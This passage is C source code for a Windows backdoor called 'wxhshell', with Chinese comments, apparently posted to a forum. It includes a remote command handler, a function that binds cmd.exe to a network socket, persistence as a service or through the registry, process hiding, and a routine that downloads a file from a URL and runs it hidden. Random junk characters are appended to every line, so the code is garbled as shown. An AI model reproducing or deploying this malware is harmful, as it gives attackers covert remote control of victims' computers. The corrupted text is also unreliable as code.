  F`;TU"pDf  
  // 帮助 g~Nij~/  
  case '?': { 1FD7~S|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^C:{z)"h  
    break; 5gc:Y`7t  
  } ]O[+c*|w  
  // 安装 Q_dXRBv=n  
  case 'i': { 9!O+Ryy?\  
    if(Install()) E2qB:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z6FbM^;;  
    else Pa +AF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #"o6OEy$A#  
    break; f $.\o  
    } Gh$y#0qr  
  // 卸载 [L*[j.r7[  
  case 'r': { %qNj{<&  
    if(Uninstall()) 5&n988g C8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NWQPOq#  
    else p-T~x$"c|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m0BG9~p|  
    break; %/tGkS6  
    } w>z8c3Dq}  
  // 显示 wxhshell 所在路径 x;ERRK  
  case 'p': { $vgmoJ@X0  
    char svExeFile[MAX_PATH]; 5S|}:~7T  
    strcpy(svExeFile,"\n\r"); X|-v0 f  
      strcat(svExeFile,ExeFile); (5Z8zNH`3  
        send(wsh,svExeFile,strlen(svExeFile),0); 8g# c%eZ  
    break; c6?c>*z  
    } F;d%@E_Bc  
  // 重启 .`p<hA)%[C  
  case 'b': { CzzUi]*Ac{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w| -0@  
    if(Boot(REBOOT)) lnS\5J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eo7 _v  
    else { oN&rq6eN  
    closesocket(wsh); o7c%\v[  
    ExitThread(0); @H3s2|  
    } }{#;;5KrB  
    break; ONr?.MJ6j  
    } :>tF_6  
  // 关机 S|{Yvyp  
  case 'd': { {UX"Epd);n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5bF9I H  
    if(Boot(SHUTDOWN)) A=v lC?&Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j{Yt70Wv  
    else { YZ"+c&V"  
    closesocket(wsh); 8CP9DS  
    ExitThread(0); 80FCe(U  
    } 2_oK 5*j  
    break; Zzw}sZ?8  
    } 5(iSOsb  
  // 获取shell IKMs Y5i  
  case 's': { 36kc4=  
    CmdShell(wsh); QoW ( tM  
    closesocket(wsh); 6o[0sM_];  
    ExitThread(0); xE G+%Uk{  
    break; |MOn0 *  
  } Xmf  
  // 退出 v{mv*`~nA\  
  case 'x': { RMS.1:O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3JlC/v#0  
    CloseIt(wsh); T=eT^?v  
    break; ?VMi!-POE  
    } S F&M (=w<  
  // 离开 <_BqpZ^`  
  case 'q': { K:>NGGY8r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =Q/w%8G  
    closesocket(wsh); &57qjA ,8<  
    WSACleanup(); &#.x)>f  
    exit(1);  aNOAu/  
    break; &K9VEMCEX  
        } ".~Mm F  
  } \b_-mnN"  
  } im_w+h%^  
^Ei*M0fF  
  // 提示信息 U=haX x4N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cwH,l$  
} ,X9hl J  
  } ;eS;AHZ  
k1^V?O  
  return; S`pF7[%rp  
} !6XvvTs/<  
L"""\5Bn(  
// shell模块句柄 $Qn& jI38  
int CmdShell(SOCKET sock) 9O),/SH;:  
{ g>6:CG"  
STARTUPINFO si; kbfuvJ>  
ZeroMemory(&si,sizeof(si)); [b7it2`dl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B]'e$uyL7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tjd&^m  
PROCESS_INFORMATION ProcessInfo; [=XZza.z  
char cmdline[]="cmd"; T5 K-gz7A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #@nZ4=/z  
  return 0; httls>:xB|  
} C!$Xv&"r  
S[-.tvI;Q  
// 自身启动模式 7,pjej  
int StartFromService(void) a='IT 5  
{ #D!$~ h&i  
typedef struct 20 jrv'f  
{ S 3{Dn  
  DWORD ExitStatus; 7ZF}0K$^B  
  DWORD PebBaseAddress; X?KGb{  
  DWORD AffinityMask; c_~XL^B@  
  DWORD BasePriority; 2B6^ ]pSk  
  ULONG UniqueProcessId; EG F:xl  
  ULONG InheritedFromUniqueProcessId; 9|J8]m?x  
}   PROCESS_BASIC_INFORMATION; kA1RfSS  
pWMiCXnW  
PROCNTQSIP NtQueryInformationProcess; h=X7,2/<  
5T!&r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -6u H.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1t0b Uf;(M  
i{<8 hLO  
  HANDLE             hProcess; ! a86iHU  
  PROCESS_BASIC_INFORMATION pbi; =L:[cIRrT;  
Ly^E& ,)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X32RZ9y  
  if(NULL == hInst ) return 0; 5\uNEs$T  
@)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L=d$"Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qv.[k<~a>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IJ hxE  
MNkKy(Za  
  if (!NtQueryInformationProcess) return 0; ' " Bex`  
$`^H:Djr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DY$yiOH9  
  if(!hProcess) return 0; PqTYAN&F  
b OW}"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uEBQoP2  
YavfjS:2  
  CloseHandle(hProcess); K3La9O)>  
+nU',E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xfj)gPt}  
if(hProcess==NULL) return 0; CKJAZ2  
kJ/+IGV^v  
HMODULE hMod; A$/KP\0Y2  
char procName[255]; ]a8eDy  
unsigned long cbNeeded; 6(:)otz  
*hV4[=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1oB$MQoc  
|p;4dL  
  CloseHandle(hProcess); bAUHUPe  
ozVpfs  
if(strstr(procName,"services")) return 1; // 以服务启动 k"t >He  
C,[ L/!  
  return 0; // 注册表启动 P~&O4['<  
} TLy ;4R2Nn  
QyTh!QM~`  
// 主模块 h!QjpzQe  
int StartWxhshell(LPSTR lpCmdLine) x]H3Y3  
{ ^GN5vT+:'  
  SOCKET wsl; `hzd|GmX  
BOOL val=TRUE; ]OUD5T  
  int port=0; $H4=QVj6  
  struct sockaddr_in door; 6KVV z/  
n:F@gZd`  
  if(wscfg.ws_autoins) Install(); VIetcs  
t/A:k  
port=atoi(lpCmdLine); Pv#KmSA9  
6s'[{Ov  
if(port<=0) port=wscfg.ws_port; 7Ez}k}aR<  
O)l%OOv   
  WSADATA data; %j%%Rn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6{L F-`S%  
V!mWn|lf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "@(58nk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OO$|9`a  
  door.sin_family = AF_INET; ACgt" M.3F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0xv\D0  
  door.sin_port = htons(port); \Ph]*%  
II&<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5qGGu.$Ihi  
closesocket(wsl); ehU"*9  
return 1; ; /=L  
} u]R$]&<  
T{ok +$w2  
  if(listen(wsl,2) == INVALID_SOCKET) { av$  
closesocket(wsl); t`uc3ta"9  
return 1; wtq,`'B  
} }lH;[+u3  
  Wxhshell(wsl); c$/<l5Uw  
  WSACleanup(); P7'M],!9w  
'\@WN]  
return 0; hUBF/4s\  
$khrWiX  
} ej<`CQ  
:|=- (z  
// 以NT服务方式启动 h5 j<u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f KHse$?_  
{ M' YJ"  
DWORD   status = 0; I`3d;l;d  
  DWORD   specificError = 0xfffffff; kw3 +>{\  
aJa.U^1{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !f@XDW&R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A3j"/eKi2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [~t yDLC  
  serviceStatus.dwWin32ExitCode     = 0; !W(`<d]68:  
  serviceStatus.dwServiceSpecificExitCode = 0; lelMt=  
  serviceStatus.dwCheckPoint       = 0; SGQD ro=l  
  serviceStatus.dwWaitHint       = 0; Jlz9E|*qV  
]/a g*F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,?I(/jI  
  if (hServiceStatusHandle==0) return; H)\4=^  
whw{dfE  
status = GetLastError(); PaNeu1cO  
  if (status!=NO_ERROR) ?x'w~;9R/  
{ ~C0 Pu.{o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L -YNz0A  
    serviceStatus.dwCheckPoint       = 0; L(;.n>/  
    serviceStatus.dwWaitHint       = 0; .3(;9};  
    serviceStatus.dwWin32ExitCode     = status; _Cj(fFL  
    serviceStatus.dwServiceSpecificExitCode = specificError; mLQUcYfR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '\ XsTs#L  
    return; gXF.on4B  
  } uQWp+}>ZJy  
4AuH1m)<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f'i6QMk\&  
  serviceStatus.dwCheckPoint       = 0; v O PMgEI  
  serviceStatus.dwWaitHint       = 0; !n:uiwh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]b> pI;  
} (ZS/@He  
wz h.$?~  
// 处理NT服务事件,比如:启动、停止 - {0g#G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4Mi~1iZj  
{ !M,h79NM  
switch(fdwControl) x vdY 8%S  
{ ^B|YO8.v  
case SERVICE_CONTROL_STOP: >r=6A   
  serviceStatus.dwWin32ExitCode = 0; 1!d)PK>1$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VJ*\pM@no  
  serviceStatus.dwCheckPoint   = 0; $ 3]b>v  
  serviceStatus.dwWaitHint     = 0; 8nodV 9  
  { M.S s: ttj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); svqvG7  
  } Vli3>K&  
  return; -( (Z@T1k  
case SERVICE_CONTROL_PAUSE: O <>#>[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vkuc8 li  
  break; m!0N"AjA  
case SERVICE_CONTROL_CONTINUE: ex!XB$X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xb]o dYGdW  
  break; V!W1fb7V  
case SERVICE_CONTROL_INTERROGATE: (2d3jQN`  
  break; Hxn<(gd G  
}; yZ5 x8 8>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }f]b't  
} M}u1qXa  
oE6|Zw  
// 标准应用程序主函数 Fav^^vf*1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y~dB5/  
{ =tnTdp0F  
9{$8\E9*nd  
// 获取操作系统版本 (uRZxX  
OsIsNt=GetOsVer(); "Tv:*L5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `[OXVs,7"  
W"|mpxp  
  // 从命令行安装 8?kP*tmcZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); j3{HkcjJG  
mTJ"l(,3  
  // 下载执行文件 jFG5)t<D  
if(wscfg.ws_downexe) { aLYLd/ KV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'g~@"9'oe  
  WinExec(wscfg.ws_filenam,SW_HIDE);   Y<aO  
} o)p[ C   
gJKKR]4*  
if(!OsIsNt) { K?[)E3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^&-a/'D$,  
HideProc(); (_ U^  
StartWxhshell(lpCmdLine); -,|ha>r  
} -Uri|^t  
else ZL=N[XW4'  
  if(StartFromService()) -~\f2'Q  
  // 以服务方式启动 L{<7.?{Y  
  StartServiceCtrlDispatcher(DispatchTable); j %H`0  
else F3Dt7q  
  // 普通方式启动 ol<lCp  
  StartWxhshell(lpCmdLine); ~$Y|ca  
9qre|AA  
return 0; v&r=-}z2!  
}
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只看该作者 1 发表于: 2006-10-10
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